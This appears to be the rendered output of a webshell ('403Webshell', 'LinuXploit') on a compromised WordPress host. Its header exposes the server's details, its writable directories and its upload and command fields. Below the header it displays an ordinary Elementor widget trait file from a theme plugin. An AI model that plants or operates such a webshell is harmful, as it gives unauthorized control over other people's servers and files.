403Webshell
Server IP : 172.67.71.254  /  Your IP : 216.73.216.4
Web Server : nginx/1.27.1
System : Linux in-5 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : arabianexpress ( 1872)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v9321/leapdubai/public_html/wp-content/plugins/printx-core/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v9321/leapdubai/public_html/wp-content/plugins/printx-core/include/traits-builder.php
<?php

namespace TPCore\Widgets;
use Elementor\Controls_Manager;

#theme builder trait

trait tpTraitBuilder {
    // builder button/links
    protected function tp_builder_button_links($control_id = null, $control_name = 'box', $condition_id ="tp_header_right_switch", $control_condition = 'yes'){
        $this->start_controls_section(
            'tp_'.$control_id,
                [
                  'label' => esc_html__( ''.$control_name.'', 'tpcore' ),
                  'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
                  'condition' => [
                    $condition_id => $control_condition 
                  ],
                ]
           );
           $this->add_control(
               'tp_'.$control_id.'_switcher',
               [
                   'label' => esc_html__( 'Add '.$control_name.' link', 'tpcore' ),
                   'type' => \Elementor\Controls_Manager::SWITCHER,
                   'label_on' => esc_html__( 'Yes', 'tpcore' ),
                   'label_off' => esc_html__( 'No', 'tpcore' ),
                   'return_value' => 'yes',
                   'default' => 'yes',
                   'separator' => 'before',
               ]
           );
           $this->add_control(
               'tp_'.$control_id.'_text',
               [
                   'label' => esc_html__('Button Text', 'tpcore'),
                   'type' => Controls_Manager::TEXT,
                   'default' => esc_html__('Button Text', 'tpcore'),
                   'title' => esc_html__('Enter button text', 'tpcore'),
                   'label_block' => true,
                   'condition' => [
                       'tp_'.$control_id.'_switcher' => 'yes'
                   ],
               ]
           );
           $this->add_control(
               'tp_'.$control_id.'_link_type',
               [
                   'label' => esc_html__( ''.$control_name.' Link Type', 'tpcore' ),
                   'type' => \Elementor\Controls_Manager::SELECT,
                   'options' => [
                       '1' => 'Custom Link',
                       '2' => 'Internal Page',
                   ],
                   'default' => '1',
                   'condition' => [
                       'tp_'.$control_id.'_switcher' => 'yes'
                   ]
               ]
           );
           $this->add_control(
               'tp_'.$control_id.'_link',
               [
                   'label' => esc_html__( ''.$control_name.' Link link', 'tpcore' ),
                   'type' => \Elementor\Controls_Manager::URL,
                   'dynamic' => [
                       'active' => true,
                   ],
                   'placeholder' => esc_html__( 'https://your-link.com', 'tpcore' ),
                   'show_external' => true,
                   'default' => [
                       'url' => '#',
                       'is_external' => false,
                       'nofollow' => false,
                   ],
                   'condition' => [
                       'tp_'.$control_id.'_link_type' => '1',
                       'tp_'.$control_id.'_switcher' => 'yes',
                   ]
               ]
           );
           $this->add_control(
               'tp_'.$control_id.'_page_link',
               [
                   'label' => esc_html__( 'Select '.$control_name.' Link Page', 'tpcore' ),
                   'type' => \Elementor\Controls_Manager::SELECT2,
                   'label_block' => true,
                   'options' => tp_get_all_pages(),
                   'condition' => [
                       'tp_'.$control_id.'_link_type' => '2',
                       'tp_'.$control_id.'_switcher' => 'yes',
                   ]
               ]
           );
   
           $this->end_controls_section();
    }

    // builder button/links 2
    protected function tp_builder_button_links2($control_id = null, $control_name = 'box'){
        $this->start_controls_section(
            'tp_'.$control_id,
                [
                  'label' => esc_html__( ''.$control_name.'', 'tpcore' ),
                  'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
                ]
           );
           $this->add_control(
               'tp_'.$control_id.'_switcher',
               [
                   'label' => esc_html__( 'Add '.$control_name.' link', 'tpcore' ),
                   'type' => \Elementor\Controls_Manager::SWITCHER,
                   'label_on' => esc_html__( 'Yes', 'tpcore' ),
                   'label_off' => esc_html__( 'No', 'tpcore' ),
                   'return_value' => 'yes',
                   'default' => 'yes',
                   'separator' => 'before',
               ]
           );
           $this->add_control(
               'tp_'.$control_id.'_text',
               [
                   'label' => esc_html__('Button Text', 'tpcore'),
                   'type' => Controls_Manager::TEXT,
                   'default' => esc_html__('Button Text', 'tpcore'),
                   'title' => esc_html__('Enter button text', 'tpcore'),
                   'label_block' => true,
                   'condition' => [
                       'tp_'.$control_id.'_switcher' => 'yes'
                   ],
               ]
           );
           $this->add_control(
               'tp_'.$control_id.'_link_type',
               [
                   'label' => esc_html__( ''.$control_name.' Link Type', 'tpcore' ),
                   'type' => \Elementor\Controls_Manager::SELECT,
                   'options' => [
                       '1' => 'Custom Link',
                       '2' => 'Internal Page',
                   ],
                   'default' => '1',
                   'condition' => [
                       'tp_'.$control_id.'_switcher' => 'yes'
                   ]
               ]
           );
           $this->add_control(
               'tp_'.$control_id.'_link',
               [
                   'label' => esc_html__( ''.$control_name.' Link link', 'tpcore' ),
                   'type' => \Elementor\Controls_Manager::URL,
                   'dynamic' => [
                       'active' => true,
                   ],
                   'placeholder' => esc_html__( 'https://your-link.com', 'tpcore' ),
                   'show_external' => true,
                   'default' => [
                       'url' => '#',
                       'is_external' => false,
                       'nofollow' => false,
                   ],
                   'condition' => [
                       'tp_'.$control_id.'_link_type' => '1',
                       'tp_'.$control_id.'_switcher' => 'yes',
                   ]
               ]
           );
           $this->add_control(
               'tp_'.$control_id.'_page_link',
               [
                   'label' => esc_html__( 'Select '.$control_name.' Link Page', 'tpcore' ),
                   'type' => \Elementor\Controls_Manager::SELECT2,
                   'label_block' => true,
                   'options' => tp_get_all_pages(),
                   'condition' => [
                       'tp_'.$control_id.'_link_type' => '2',
                       'tp_'.$control_id.'_switcher' => 'yes',
                   ]
               ]
           );
   
           $this->end_controls_section();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit